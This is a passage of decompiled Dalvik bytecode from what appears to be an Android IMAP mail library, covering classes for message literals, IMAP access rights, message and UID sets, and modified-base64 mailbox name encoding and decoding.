.registers 9
00000000 const/4 v4, 0x0
00000002 if-ltz p2, :22
:6
00000006 array-length v0, p1
00000008 if-gt p2, v0, :22
:C
0000000C if-ltz p3, :22
:10
00000010 add-int v0, p2, p3
00000014 array-length v1, p1
00000016 if-gt v0, v1, :22
:1A
0000001A add-int v0, p2, p3
0000001E if-gez v0, :2E
:22
00000022 new-instance v0, IndexOutOfBoundsException
00000026 invoke-direct IndexOutOfBoundsException-><init>()V, v0
0000002C throw v0
:2E
0000002E if-nez p3, :34
:32
00000032 return-void
:34
00000034 iget v0, p0, LengthCounter->size:I
00000038 add-int/2addr v0, p3
0000003A iget-object v1, p0, LengthCounter->buf:[B
0000003E if-eqz v1, :58
:42
00000042 iget v1, p0, LengthCounter->maxsize:I
00000046 if-le v0, v1, :5E
:4A
0000004A iget v1, p0, LengthCounter->maxsize:I
0000004E if-ltz v1, :5E
:52
00000052 const/4 v1, 0x0
00000054 iput-object v1, p0, LengthCounter->buf:[B
:58
00000058 iput v0, p0, LengthCounter->size:I
0000005C goto :32
:5E
0000005E iget-object v1, p0, LengthCounter->buf:[B
00000062 array-length v1, v1
00000064 if-le v0, v1, :A0
:68
00000068 iget-object v1, p0, LengthCounter->buf:[B
0000006C array-length v1, v1
0000006E shl-int/lit8 v1, v1, 0x1
00000072 invoke-static Math->max(I, I)I, v1, v0
00000078 move-result v1
0000007A new-array v1, v1, [B
0000007E iget-object v2, p0, LengthCounter->buf:[B
00000082 iget v3, p0, LengthCounter->size:I
00000086 invoke-static System->arraycopy(Object, I, Object, I, I)V, v2, v4, v1, v4, v3
0000008C iput-object v1, p0, LengthCounter->buf:[B
00000090 iget-object v1, p0, LengthCounter->buf:[B
00000094 iget v2, p0, LengthCounter->size:I
00000098 invoke-static System->arraycopy(Object, I, Object, I, I)V, p1, p2, v1, v2, p3
0000009E goto :58
:A0
000000A0 iget-object v1, p0, LengthCounter->buf:[B
000000A4 iget v2, p0, LengthCounter->size:I
000000A8 invoke-static System->arraycopy(Object, I, Object, I, I)V, p1, p2, v1, v2, p3
000000AE goto :58
.end method
#--------------------------------------------------------------------------------
.class MessageLiteral
.super Object
.source ""
.implements Literal
.field private buf:[B
.field private msg:Message
.field private msgSize:I
.method public constructor <init>(Message, I)V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 iput v0, p0, MessageLiteral->msgSize:I
0000000C iput-object p1, p0, MessageLiteral->msg:Message
00000010 new-instance v0, LengthCounter
00000014 invoke-direct LengthCounter-><init>(I)V, v0, p2
0000001A new-instance v1, CRLFOutputStream
0000001E invoke-direct CRLFOutputStream-><init>(OutputStream)V, v1, v0
00000024 invoke-virtual Message->writeTo(OutputStream)V, p1, v1
0000002A invoke-virtual OutputStream->flush()V, v1
00000030 invoke-virtual LengthCounter->getSize()I, v0
00000036 move-result v1
00000038 iput v1, p0, MessageLiteral->msgSize:I
0000003C invoke-virtual LengthCounter->getBytes()[B, v0
00000042 move-result-object v0
00000044 iput-object v0, p0, MessageLiteral->buf:[B
00000048 return-void
.end method
.method public size()I
.registers 2
00000000 iget v0, p0, MessageLiteral->msgSize:I
00000004 return v0
.end method
.method public writeTo(OutputStream)V
.registers 6
00000000 iget-object v0, p0, MessageLiteral->buf:[B
00000004 if-eqz v0, :1A
:8
00000008 iget-object v0, p0, MessageLiteral->buf:[B
0000000C const/4 v1, 0x0
0000000E iget v2, p0, MessageLiteral->msgSize:I
00000012 invoke-virtual OutputStream->write([B, I, I)V, p1, v0, v1, v2
:18
00000018 return-void
:1A
0000001A new-instance v0, CRLFOutputStream
0000001E invoke-direct CRLFOutputStream-><init>(OutputStream)V, v0, p1
00000024 iget-object v1, p0, MessageLiteral->msg:Message
00000028 invoke-virtual Message->writeTo(OutputStream)V, v1, v0
:2E
0000002E goto :18
:30
00000030 move-exception v0
00000032 new-instance v1, IOException
00000036 new-instance v2, StringBuilder
0000003A const-string v3, "MessagingException while appending message: "
0000003E invoke-direct StringBuilder-><init>(String)V, v2, v3
00000044 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
0000004A move-result-object v0
0000004C invoke-virtual StringBuilder->toString()String, v0
00000052 move-result-object v0
00000054 invoke-direct IOException-><init>(String)V, v1, v0
0000005A throw v1
.catch MessagingException {:0 .. :2E} :30
.end method
#--------------------------------------------------------------------------------
.class public final Rights$Right
.super Object
.source ""
.field public static final ADMINISTER:Rights$Right
.field public static final CREATE:Rights$Right
.field public static final DELETE:Rights$Right
.field public static final INSERT:Rights$Right
.field public static final KEEP_SEEN:Rights$Right
.field public static final LOOKUP:Rights$Right
.field public static final POST:Rights$Right
.field public static final READ:Rights$Right
.field public static final WRITE:Rights$Right
.field private static cache:[Rights$Right
.field right:C
.method static constructor <clinit>()V
.registers 1
00000000 const/16 v0, 0x80
00000004 new-array v0, v0, [Rights$Right
00000008 sput-object v0, Rights$Right->cache:[Rights$Right
0000000C const/16 v0, 0x6C
00000010 invoke-static Rights$Right->getInstance(C)Rights$Right, v0
00000016 move-result-object v0
00000018 sput-object v0, Rights$Right->LOOKUP:Rights$Right
0000001C const/16 v0, 0x72
00000020 invoke-static Rights$Right->getInstance(C)Rights$Right, v0
00000026 move-result-object v0
00000028 sput-object v0, Rights$Right->READ:Rights$Right
0000002C const/16 v0, 0x73
00000030 invoke-static Rights$Right->getInstance(C)Rights$Right, v0
00000036 move-result-object v0
00000038 sput-object v0, Rights$Right->KEEP_SEEN:Rights$Right
0000003C const/16 v0, 0x77
00000040 invoke-static Rights$Right->getInstance(C)Rights$Right, v0
00000046 move-result-object v0
00000048 sput-object v0, Rights$Right->WRITE:Rights$Right
0000004C const/16 v0, 0x69
00000050 invoke-static Rights$Right->getInstance(C)Rights$Right, v0
00000056 move-result-object v0
00000058 sput-object v0, Rights$Right->INSERT:Rights$Right
0000005C const/16 v0, 0x70
00000060 invoke-static Rights$Right->getInstance(C)Rights$Right, v0
00000066 move-result-object v0
00000068 sput-object v0, Rights$Right->POST:Rights$Right
0000006C const/16 v0, 0x63
00000070 invoke-static Rights$Right->getInstance(C)Rights$Right, v0
00000076 move-result-object v0
00000078 sput-object v0, Rights$Right->CREATE:Rights$Right
0000007C const/16 v0, 0x64
00000080 invoke-static Rights$Right->getInstance(C)Rights$Right, v0
00000086 move-result-object v0
00000088 sput-object v0, Rights$Right->DELETE:Rights$Right
0000008C const/16 v0, 0x61
00000090 invoke-static Rights$Right->getInstance(C)Rights$Right, v0
00000096 move-result-object v0
00000098 sput-object v0, Rights$Right->ADMINISTER:Rights$Right
0000009C return-void
.end method
.method private constructor <init>(C)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const/16 v0, 0x80
0000000A if-lt p1, v0, :1E
:E
0000000E new-instance v0, IllegalArgumentException
00000012 const-string v1, "Right must be ASCII"
00000016 invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
0000001C throw v0
:1E
0000001E iput-char p1, p0, Rights$Right->right:C
00000022 return-void
.end method
.method public static declared-synchronized getInstance(C)Rights$Right
.registers 4
00000000 const-class v1, Rights$Right
00000004 monitor-enter v1
00000006 const/16 v0, 0x80
0000000A if-lt p0, v0, :24
:E
0000000E new-instance v0, IllegalArgumentException
00000012 const-string v2, "Right must be ASCII"
00000016 invoke-direct IllegalArgumentException-><init>(String)V, v0, v2
0000001C throw v0
:1E
0000001E move-exception v0
00000020 monitor-exit v1
00000022 throw v0
:24
00000024 sget-object v0, Rights$Right->cache:[Rights$Right
00000028 aget-object v0, v0, p0
0000002C if-nez v0, :42
:30
00000030 sget-object v0, Rights$Right->cache:[Rights$Right
00000034 new-instance v2, Rights$Right
00000038 invoke-direct Rights$Right-><init>(C)V, v2, p0
0000003E aput-object v2, v0, p0
:42
00000042 sget-object v0, Rights$Right->cache:[Rights$Right
00000046 aget-object v0, v0, p0
:4A
0000004A monitor-exit v1
0000004C return-object v0
.catchall {:E .. :1E} :1E
.catchall {:24 .. :4A} :1E
.end method
.method public toString()String
.registers 2
00000000 iget-char v0, p0, Rights$Right->right:C
00000004 invoke-static String->valueOf(C)String, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
#--------------------------------------------------------------------------------
.class public Rights
.super Object
.source ""
.implements Cloneable
.field private rights:[Z
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 const/16 v0, 0x80
0000000A new-array v0, v0, [Z
0000000E iput-object v0, p0, Rights->rights:[Z
00000012 return-void
.end method
.method public constructor <init>(Rights$Right)V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 const/16 v0, 0x80
0000000A new-array v0, v0, [Z
0000000E iput-object v0, p0, Rights->rights:[Z
00000012 iget-object v0, p0, Rights->rights:[Z
00000016 iget-char v1, p1, Rights$Right->right:C
0000001A const/4 v2, 0x1
0000001C aput-boolean v2, v0, v1
00000020 return-void
.end method
.method public constructor <init>(Rights)V
.registers 6
00000000 const/4 v3, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 const/16 v0, 0x80
0000000C new-array v0, v0, [Z
00000010 iput-object v0, p0, Rights->rights:[Z
00000014 iget-object v0, p1, Rights->rights:[Z
00000018 iget-object v1, p0, Rights->rights:[Z
0000001C iget-object v2, p0, Rights->rights:[Z
00000020 array-length v2, v2
00000022 invoke-static System->arraycopy(Object, I, Object, I, I)V, v0, v3, v1, v3, v2
00000028 return-void
.end method
.method public constructor <init>(String)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const/16 v0, 0x80
0000000A new-array v0, v0, [Z
0000000E iput-object v0, p0, Rights->rights:[Z
00000012 const/4 v0, 0x0
:14
00000014 invoke-virtual String->length()I, p1
0000001A move-result v1
0000001C if-lt v0, v1, :22
:20
00000020 return-void
:22
00000022 invoke-virtual String->charAt(I)C, p1, v0
00000028 move-result v1
0000002A invoke-static Rights$Right->getInstance(C)Rights$Right, v1
00000030 move-result-object v1
00000032 invoke-virtual Rights->add(Rights$Right)V, p0, v1
00000038 add-int/lit8 v0, v0, 0x1
0000003C goto :14
.end method
.method public add(Rights$Right)V
.registers 5
00000000 iget-object v0, p0, Rights->rights:[Z
00000004 iget-char v1, p1, Rights$Right->right:C
00000008 const/4 v2, 0x1
0000000A aput-boolean v2, v0, v1
0000000E return-void
.end method
.method public add(Rights)V
.registers 5
00000000 const/4 v0, 0x0
:2
00000002 iget-object v1, p1, Rights->rights:[Z
00000006 array-length v1, v1
00000008 if-lt v0, v1, :E
:C
0000000C return-void
:E
0000000E iget-object v1, p1, Rights->rights:[Z
00000012 aget-boolean v1, v1, v0
00000016 if-eqz v1, :24
:1A
0000001A iget-object v1, p0, Rights->rights:[Z
0000001E const/4 v2, 0x1
00000020 aput-boolean v2, v1, v0
:24
00000024 add-int/lit8 v0, v0, 0x1
00000028 goto :2
.end method
.method public clone()Object
.registers 7
00000000 const/4 v1, 0x0
:2
00000002 invoke-super Object->clone()Object, p0
00000008 move-result-object v0
0000000A check-cast v0, Rights
:E
0000000E const/16 v1, 0x80
:12
00000012 new-array v1, v1, [Z
00000016 iput-object v1, v0, Rights->rights:[Z
0000001A iget-object v1, p0, Rights->rights:[Z
0000001E const/4 v2, 0x0
00000020 iget-object v3, v0, Rights->rights:[Z
00000024 const/4 v4, 0x0
00000026 iget-object v5, p0, Rights->rights:[Z
0000002A array-length v5, v5
0000002C invoke-static System->arraycopy(Object, I, Object, I, I)V, v1, v2, v3, v4, v5
:32
00000032 return-object v0
:34
00000034 move-exception v0
00000036 move-object v0, v1
00000038 goto :32
:3A
0000003A move-exception v1
0000003C goto :32
.catch CloneNotSupportedException {:2 .. :E} :34
.catch CloneNotSupportedException {:12 .. :32} :3A
.end method
.method public contains(Rights$Right)Z
.registers 4
00000000 iget-object v0, p0, Rights->rights:[Z
00000004 iget-char v1, p1, Rights$Right->right:C
00000008 aget-boolean v0, v0, v1
0000000C return v0
.end method
.method public contains(Rights)Z
.registers 5
00000000 const/4 v1, 0x0
00000002 move v0, v1
:4
00000004 iget-object v2, p1, Rights->rights:[Z
00000008 array-length v2, v2
0000000A if-lt v0, v2, :12
:E
0000000E const/4 v1, 0x1
:10
00000010 return v1
:12
00000012 iget-object v2, p1, Rights->rights:[Z
00000016 aget-boolean v2, v2, v0
0000001A if-eqz v2, :2A
:1E
0000001E iget-object v2, p0, Rights->rights:[Z
00000022 aget-boolean v2, v2, v0
00000026 if-eqz v2, :10
:2A
0000002A add-int/lit8 v0, v0, 0x1
0000002E goto :4
.end method
.method public equals(Object)Z
.registers 6
00000000 const/4 v1, 0x0
00000002 instance-of v0, p1, Rights
00000006 if-nez v0, :C
:A
0000000A return v1
:C
0000000C check-cast p1, Rights
00000010 move v0, v1
:12
00000012 iget-object v2, p1, Rights->rights:[Z
00000016 array-length v2, v2
00000018 if-lt v0, v2, :20
:1C
0000001C const/4 v1, 0x1
0000001E goto :A
:20
00000020 iget-object v2, p1, Rights->rights:[Z
00000024 aget-boolean v2, v2, v0
00000028 iget-object v3, p0, Rights->rights:[Z
0000002C aget-boolean v3, v3, v0
00000030 if-ne v2, v3, :A
:34
00000034 add-int/lit8 v0, v0, 0x1
00000038 goto :12
.end method
.method public getRights()[Rights$Right
.registers 4
00000000 new-instance v1, Vector
00000004 invoke-direct Vector-><init>()V, v1
0000000A const/4 v0, 0x0
:C
0000000C iget-object v2, p0, Rights->rights:[Z
00000010 array-length v2, v2
00000012 if-lt v0, v2, :2A
:16
00000016 invoke-virtual Vector->size()I, v1
0000001C move-result v0
0000001E new-array v0, v0, [Rights$Right
00000022 invoke-virtual Vector->copyInto([Object)V, v1, v0
00000028 return-object v0
:2A
0000002A iget-object v2, p0, Rights->rights:[Z
0000002E aget-boolean v2, v2, v0
00000032 if-eqz v2, :46
:36
00000036 int-to-char v2, v0
00000038 invoke-static Rights$Right->getInstance(C)Rights$Right, v2
0000003E move-result-object v2
00000040 invoke-virtual Vector->addElement(Object)V, v1, v2
:46
00000046 add-int/lit8 v0, v0, 0x1
0000004A goto :C
.end method
.method public hashCode()I
.registers 4
00000000 const/4 v0, 0x0
00000002 move v1, v0
:4
00000004 iget-object v2, p0, Rights->rights:[Z
00000008 array-length v2, v2
0000000A if-lt v0, v2, :10
:E
0000000E return v1
:10
00000010 iget-object v2, p0, Rights->rights:[Z
00000014 aget-boolean v2, v2, v0
00000018 if-eqz v2, :20
:1C
0000001C add-int/lit8 v1, v1, 0x1
:20
00000020 add-int/lit8 v0, v0, 0x1
00000024 goto :4
.end method
.method public remove(Rights$Right)V
.registers 5
00000000 iget-object v0, p0, Rights->rights:[Z
00000004 iget-char v1, p1, Rights$Right->right:C
00000008 const/4 v2, 0x0
0000000A aput-boolean v2, v0, v1
0000000E return-void
.end method
.method public remove(Rights)V
.registers 5
00000000 const/4 v1, 0x0
00000002 move v0, v1
:4
00000004 iget-object v2, p1, Rights->rights:[Z
00000008 array-length v2, v2
0000000A if-lt v0, v2, :10
:E
0000000E return-void
:10
00000010 iget-object v2, p1, Rights->rights:[Z
00000014 aget-boolean v2, v2, v0
00000018 if-eqz v2, :24
:1C
0000001C iget-object v2, p0, Rights->rights:[Z
00000020 aput-boolean v1, v2, v0
:24
00000024 add-int/lit8 v0, v0, 0x1
00000028 goto :4
.end method
.method public toString()String
.registers 4
00000000 new-instance v1, StringBuffer
00000004 invoke-direct StringBuffer-><init>()V, v1
0000000A const/4 v0, 0x0
:C
0000000C iget-object v2, p0, Rights->rights:[Z
00000010 array-length v2, v2
00000012 if-lt v0, v2, :20
:16
00000016 invoke-virtual StringBuffer->toString()String, v1
0000001C move-result-object v0
0000001E return-object v0
:20
00000020 iget-object v2, p0, Rights->rights:[Z
00000024 aget-boolean v2, v2, v0
00000028 if-eqz v2, :34
:2C
0000002C int-to-char v2, v0
0000002E invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
:34
00000034 add-int/lit8 v0, v0, 0x1
00000038 goto :C
.end method
#--------------------------------------------------------------------------------
.class public final Utility
.super Object
.source ""
.method private constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static toMessageSet([Message, Utility$Condition)[MessageSet
.registers 8
00000000 new-instance v4, Vector
00000004 const/4 v0, 0x1
00000006 invoke-direct Vector-><init>(I)V, v4, v0
0000000C const/4 v0, 0x0
0000000E move v1, v0
:10
00000010 array-length v0, p0
00000012 if-lt v1, v0, :26
:16
00000016 invoke-virtual Vector->isEmpty()Z, v4
0000001C move-result v0
0000001E if-eqz v0, :C6
:22
00000022 const/4 v0, 0x0
:24
00000024 return-object v0
:26
00000026 aget-object v0, p0, v1
0000002A check-cast v0, IMAPMessage
0000002E invoke-virtual IMAPMessage->isExpunged()Z, v0
00000034 move-result v2
00000036 if-eqz v2, :42
:3A
0000003A add-int/lit8 v0, v1, 0x1
0000003E move v1, v0
00000040 goto :10
:42
00000042 invoke-virtual IMAPMessage->getSequenceNumber()I, v0
00000048 move-result v2
0000004A if-eqz p1, :5A
:4E
0000004E invoke-interface Utility$Condition->test(IMAPMessage)Z, p1, v0
00000054 move-result v0
00000056 if-eqz v0, :3A
:5A
0000005A new-instance v5, MessageSet
0000005E invoke-direct MessageSet-><init>()V, v5
00000064 iput v2, v5, MessageSet->start:I
00000068 add-int/lit8 v0, v1, 0x1
0000006C move v1, v0
:6E
0000006E array-length v0, p0
00000070 if-lt v1, v0, :80
:74
00000074 iput v2, v5, MessageSet->end:I
00000078 invoke-virtual Vector->addElement(Object)V, v4, v5
0000007E goto :3A
:80
00000080 aget-object v0, p0, v1
00000084 check-cast v0, IMAPMessage
00000088 invoke-virtual IMAPMessage->isExpunged()Z, v0
0000008E move-result v3
00000090 if-eqz v3, :9C
:94
00000094 add-int/lit8 v0, v1, 0x1
00000098 move v1, v0
0000009A goto :6E
:9C
0000009C invoke-virtual IMAPMessage->getSequenceNumber()I, v0
000000A2 move-result v3
000000A4 if-eqz p1, :B4
:A8
000000A8 invoke-interface Utility$Condition->test(IMAPMessage)Z, p1, v0
000000AE move-result v0
000000B0 if-eqz v0, :94
:B4
000000B4 add-int/lit8 v0, v2, 0x1
000000B8 if-ne v3, v0, :C0
:BC
000000BC move v2, v3
000000BE goto :94
:C0
000000C0 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
000000C4 goto :74
:C6
000000C6 invoke-virtual Vector->size()I, v4
000000CC move-result v0
000000CE new-array v0, v0, [MessageSet
000000D2 invoke-virtual Vector->copyInto([Object)V, v4, v0
000000D8 goto :24
.end method
.method public static toUIDSet([Message)[UIDSet
.registers 11
00000000 new-instance v6, Vector
00000004 const/4 v0, 0x1
00000006 invoke-direct Vector-><init>(I)V, v6, v0
0000000C const/4 v0, 0x0
0000000E move v1, v0
:10
00000010 array-length v0, p0
00000012 if-lt v1, v0, :26
:16
00000016 invoke-virtual Vector->isEmpty()Z, v6
0000001C move-result v0
0000001E if-eqz v0, :AC
:22
00000022 const/4 v0, 0x0
:24
00000024 return-object v0
:26
00000026 aget-object v0, p0, v1
0000002A check-cast v0, IMAPMessage
0000002E invoke-virtual IMAPMessage->isExpunged()Z, v0
00000034 move-result v2
00000036 if-eqz v2, :42
:3A
0000003A add-int/lit8 v0, v1, 0x1
0000003E move v1, v0
00000040 goto :10
:42
00000042 invoke-virtual IMAPMessage->getUID()J, v0
00000048 move-result-wide v2
0000004A new-instance v7, UIDSet
0000004E invoke-direct UIDSet-><init>()V, v7
00000054 iput-wide v2, v7, UIDSet->start:J
00000058 add-int/lit8 v0, v1, 0x1
0000005C move v1, v0
:5E
0000005E array-length v0, p0
00000060 if-lt v1, v0, :70
:64
00000064 iput-wide v2, v7, UIDSet->end:J
00000068 invoke-virtual Vector->addElement(Object)V, v6, v7
0000006E goto :3A
:70
00000070 aget-object v0, p0, v1
00000074 check-cast v0, IMAPMessage
00000078 invoke-virtual IMAPMessage->isExpunged()Z, v0
0000007E move-result v4
00000080 if-eqz v4, :8C
:84
00000084 add-int/lit8 v0, v1, 0x1
00000088 move v1, v0
0000008A goto :5E
:8C
0000008C invoke-virtual IMAPMessage->getUID()J, v0
00000092 move-result-wide v4
00000094 const-wide/16 v8, 0x1
00000098 add-long/2addr v8, v2
0000009A cmp-long v0, v4, v8
0000009E if-nez v0, :A6
:A2
000000A2 move-wide v2, v4
000000A4 goto :84
:A6
000000A6 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
000000AA goto :64
:AC
000000AC invoke-virtual Vector->size()I, v6
000000B2 move-result v0
000000B4 new-array v0, v0, [UIDSet
000000B8 invoke-virtual Vector->copyInto([Object)V, v6, v0
000000BE goto :24
.end method
#--------------------------------------------------------------------------------
.class public BASE64MailboxDecoder
.super Object
.source ""
.field static final pem_array:[C
.field private static final pem_convert_array:[B
.method static constructor <clinit>()V
.registers 4
00000000 const/4 v0, 0x0
00000002 const/16 v1, 0x40
00000006 new-array v1, v1, [C
0000000A fill-array-data v1, :60
00000010 sput-object v1, BASE64MailboxDecoder->pem_array:[C
00000014 const/16 v1, 0x100
00000018 new-array v1, v1, [B
0000001C sput-object v1, BASE64MailboxDecoder->pem_convert_array:[B
00000020 move v1, v0
:22
00000022 const/16 v2, 0xFF
00000026 if-lt v1, v2, :36
:2A
0000002A sget-object v1, BASE64MailboxDecoder->pem_array:[C
0000002E array-length v1, v1
00000030 if-lt v0, v1, :46
:34
00000034 return-void
:36
00000036 sget-object v2, BASE64MailboxDecoder->pem_convert_array:[B
0000003A const/4 v3, 0xFFFFFFFFFFFFFFFF
0000003C aput-byte v3, v2, v1
00000040 add-int/lit8 v1, v1, 0x1
00000044 goto :22
:46
00000046 sget-object v1, BASE64MailboxDecoder->pem_convert_array:[B
0000004A sget-object v2, BASE64MailboxDecoder->pem_array:[C
0000004E aget-char v2, v2, v0
00000052 int-to-byte v3, v0
00000054 aput-byte v3, v1, v2
00000058 add-int/lit8 v0, v0, 0x1
0000005C goto :2A
00000060 .array-data 2 x 0x40
0x41
0x42
0x43
0x44
0x45
0x46
0x47
0x48
0x49
0x4A
0x4B
0x4C
0x4D
0x4E
0x4F
0x50
0x51
0x52
0x53
0x54
0x55
0x56
0x57
0x58
0x59
0x5A
0x61
0x62
0x63
0x64
0x65
0x66
0x67
0x68
0x69
0x6A
0x6B
0x6C
0x6D
0x6E
0x6F
0x70
0x71
0x72
0x73
0x74
0x75
0x76
0x77
0x78
0x79
0x7A
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x2B
0x2C
.end array-data
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method protected static base64decode([C, I, CharacterIterator)I
.registers 11
00000000 const/16 v7, 0x3D
00000004 const/16 v6, 0x2D
00000008 const/4 v1, 0xFFFFFFFFFFFFFFFF
0000000A const/4 v0, 0x1
0000000C move v2, v0
0000000E move v0, v1
:10
00000010 invoke-interface CharacterIterator->next()C, p2
00000016 move-result v3
00000018 int-to-byte v3, v3
0000001A if-ne v3, v1, :20
:1E
0000001E return p1
:20
00000020 if-ne v3, v6, :38
:24
00000024 if-eqz v2, :1E
:28
00000028 add-int/lit8 v0, p1, 0x1
0000002C const/16 v1, 0x26
00000030 aput-char v1, p0, p1
00000034 move p1, v0
00000036 goto :1E
:38
00000038 const/4 v2, 0x0
0000003A invoke-interface CharacterIterator->next()C, p2
00000040 move-result v4
00000042 int-to-byte v4, v4
00000044 if-eq v4, v1, :1E
:48
00000048 if-eq v4, v6, :1E
:4C
0000004C sget-object v5, BASE64MailboxDecoder->pem_convert_array:[B
00000050 and-int/lit16 v3, v3, 0xFF
00000054 aget-byte v3, v5, v3
00000058 sget-object v5, BASE64MailboxDecoder->pem_convert_array:[B
0000005C and-int/lit16 v4, v4, 0xFF
00000060 aget-byte v4, v5, v4
00000064 shl-int/lit8 v3, v3, 0x2
00000068 and-int/lit16 v3, v3, 0xFC
0000006C ushr-int/lit8 v5, v4, 0x4
00000070 and-int/lit8 v5, v5, 0x3
00000074 or-int/2addr v3, v5
00000076 int-to-byte v5, v3
00000078 if-eq v0, v1, :144
:7C
0000007C add-int/lit8 v3, p1, 0x1
00000080 shl-int/lit8 v0, v0, 0x8
00000084 and-int/lit16 v5, v5, 0xFF
00000088 or-int/2addr v0, v5
0000008A int-to-char v0, v0
0000008C aput-char v0, p0, p1
00000090 move v0, v1
00000092 move p1, v3
:94
00000094 invoke-interface CharacterIterator->next()C, p2
0000009A move-result v3
0000009C int-to-byte v3, v3
0000009E if-eq v3, v7, :10
:A2
000000A2 if-eq v3, v1, :1E
:A6
000000A6 if-eq v3, v6, :1E
:AA
000000AA sget-object v5, BASE64MailboxDecoder->pem_convert_array:[B
000000AE and-int/lit16 v3, v3, 0xFF
000000B2 aget-byte v5, v5, v3
000000B6 shl-int/lit8 v3, v4, 0x4
000000BA and-int/lit16 v3, v3, 0xF0
000000BE ushr-int/lit8 v4, v5, 0x2
000000C2 and-int/lit8 v4, v4, 0xF
000000C6 or-int/2addr v3, v4
000000C8 int-to-byte v4, v3
000000CA if-eq v0, v1, :14A
:CE
000000CE add-int/lit8 v3, p1, 0x1
000000D2 shl-int/lit8 v0, v0, 0x8
000000D6 and-int/lit16 v4, v4, 0xFF
000000DA or-int/2addr v0, v4
000000DC int-to-char v0, v0
000000DE aput-char v0, p0, p1
000000E2 move v0, v1
000000E4 move p1, v3
:E6
000000E6 invoke-interface CharacterIterator->next()C, p2
000000EC move-result v3
000000EE int-to-byte v3, v3
000000F0 if-eq v3, v7, :10
:F4
000000F4 if-eq v3, v1, :1E
:F8
000000F8 if-eq v3, v6, :1E
:FC
000000FC sget-object v4, BASE64MailboxDecoder->pem_convert_array:[B
00000100 and-int/lit16 v3, v3, 0xFF
00000104 aget-byte v3, v4, v3
00000108 shl-int/lit8 v4, v5, 0x6
0000010C and-int/lit16 v4, v4, 0xC0
00000110 and-int/lit8 v3, v3, 0x3F
00000114 or-int/2addr v3, v4
00000116 int-to-byte v4, v3
00000118 if-eq v0, v1, :150
:11C
0000011C shl-int/lit8 v3, v0, 0x8
00000120 and-int/lit16 v5, v4, 0xFF
00000124 or-int/2addr v3, v5
00000126 int-to-char v3, v3
00000128 add-int/lit8 v3, p1, 0x1
0000012C shl-int/lit8 v0, v0, 0x8
00000130 and-int/lit16 v4, v4, 0xFF
00000134 or-int/2addr v0, v4
00000136 int-to-char v0, v0
00000138 aput-char v0, p0, p1
0000013C move v0, v1
0000013E move p1, v3
00000140 goto/16 :10
:144
00000144 and-int/lit16 v0, v5, 0xFF
00000148 goto :94
:14A
0000014A and-int/lit16 v0, v4, 0xFF
0000014E goto :E6
:150
00000150 and-int/lit16 v0, v4, 0xFF
00000154 goto/16 :10
.end method
.method public static decode(String)String
.registers 8
00000000 const/4 v4, 0x0
00000002 if-eqz p0, :12
:6
00000006 invoke-virtual String->length()I, p0
0000000C move-result v0
0000000E if-nez v0, :14
:12
00000012 return-object p0
:14
00000014 invoke-virtual String->length()I, p0
0000001A move-result v0
0000001C new-array v5, v0, [C
00000020 new-instance v6, StringCharacterIterator
00000024 invoke-direct StringCharacterIterator-><init>(String)V, v6, p0
0000002A invoke-virtual StringCharacterIterator->first()C, v6
00000030 move-result v0
00000032 move v2, v0
00000034 move v3, v4
00000036 move v1, v4
:38
00000038 const v0, 0xFFFF
0000003E if-ne v2, v0, :52
:42
00000042 if-eqz v1, :12
:46
00000046 new-instance p0, String
0000004A invoke-direct String-><init>([C, I, I)V, p0, v5, v4, v3
00000050 goto :12
:52
00000052 const/16 v0, 0x26
00000056 if-ne v2, v0, :70
:5A
0000005A const/4 v1, 0x1
0000005C invoke-static BASE64MailboxDecoder->base64decode([C, I, CharacterIterator)I, v5, v3, v6
00000062 move-result v0
:64
00000064 invoke-virtual StringCharacterIterator->next()C, v6
0000006A move-result v2
0000006C move v3, v0
0000006E goto :38
:70
00000070 add-int/lit8 v0, v3, 0x1
00000074 aput-char v2, v5, v3
00000078 goto :64
.end method
#--------------------------------------------------------------------------------
.class public BASE64MailboxEncoder
.super Object
.source ""
.field private static final pem_array:[C
.field protected buffer:[B
.field protected bufsize:I
.field protected out:Writer
.field protected started:Z
.method static constructor <clinit>()V
.registers 1
00000000 const/16 v0, 0x40
00000004 new-array v0, v0, [C
00000008 fill-array-data v0, :14
0000000E sput-object v0, BASE64MailboxEncoder->pem_array:[C
00000012 return-void
00000014 .array-data 2 x 0x40
0x41
0x42
0x43
0x44
0x45
0x46
0x47
0x48
0x49
0x4A
0x4B
0x4C
0x4D
0x4E
0x4F
0x50
0x51
0x52
0x53
0x54
0x55
0x56
0x57
0x58
0x59
0x5A
0x61
0x62
0x63
0x64
0x65
0x66
0x67
0x68
0x69
0x6A
0x6B
0x6C
0x6D
0x6E
0x6F
0x70
0x71
0x72
0x73
0x74
0x75
0x76
0x77
0x78
0x79
0x7A
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x2B
0x2C
.end array-data
.end method
.method public constructor <init>(Writer)V
.registers 4
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 const/4 v0, 0x4
0000000A new-array v0, v0, [B
0000000E iput-object v0, p0, BASE64MailboxEncoder->buffer:[B
00000012 iput v1, p0, BASE64MailboxEncoder->bufsize:I
00000016 iput-boolean v1, p0, BASE64MailboxEncoder->started:Z
0000001A const/4 v0, 0x0
0000001C iput-object v0, p0, BASE64MailboxEncoder->out:Writer
00000020 iput-object p1, p0, BASE64MailboxEncoder->out:Writer
00000024 return-void
.end method
.method public static encode(String)String
.registers 11
00000000 const/16 v9, 0x26
00000004 const/4 v1, 0x1
00000006 const/4 v0, 0x0
00000008 const/4 v2, 0x0
0000000A invoke-virtual String->toCharArray()[C, p0
